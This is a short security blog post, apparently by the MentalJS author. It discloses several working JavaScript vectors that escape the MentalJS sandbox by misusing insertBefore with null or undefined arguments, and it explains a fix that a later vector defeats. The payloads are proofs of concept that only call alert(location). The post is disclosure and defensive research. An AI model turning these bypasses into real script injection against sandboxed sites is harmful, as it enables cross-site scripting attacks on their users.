MentalJS DOM bypass
Published: Fri, 06 Mar 2015 21:16:49 GMT
Updated: Sun, 23 Mar 2025 11:22:15 GMT
Ruben Ventura (@tr3w_) found a pretty cool bypass of MentalJS. He used insertBefore with a null second argument which allows you to insert a node into the dom and bypass my sandboxing restrictions. The vector is below:-
_=document x =_.createElement('script'); s =_.createElement('style') s.innerHTML = '*/alert(location)//' t=_.createElement('b') t.textContent = '/*' x.insertBefore(t.firstChild, null); x.insertBefore(s, null) _.body.appendChild(x) x =_.createElement('script'); s =_.createElement('style') s.innerHTML = _.getElementsByTagName('script')[2].textContent x.insertBefore(s.firstChild, null) _.body.appendChild(x)
It can actually be compressed to the following:
s=document.createElement('script'); s.insertBefore(document.createTextNode('alert(location)'),null); document.body.appendChild(s);
The fix was to check if the second argument is null and the parent node is a script. Clean the script and then sandbox the code. Hopefully that will fix the attack, I couldn't see a way to use insertBefore without a null argument to cause another bypass.
Update...
@tr3w_ broke my fix :) he used undefined instead of null to bypass my condition and also cleverly used insertBefore with a node that occurs within the script to bypass cleaning the script and inject his code.
with(document) { s = createElement('script'); s.insertBefore(createTextNode('alert(location)'), [][[]]); body.appendChild(s); }
with(document) { s = createElement('script'); s.insertBefore(createTextNode('/**/'),null); s.insertBefore(createTextNode('alert(location)'),s.firstChild); }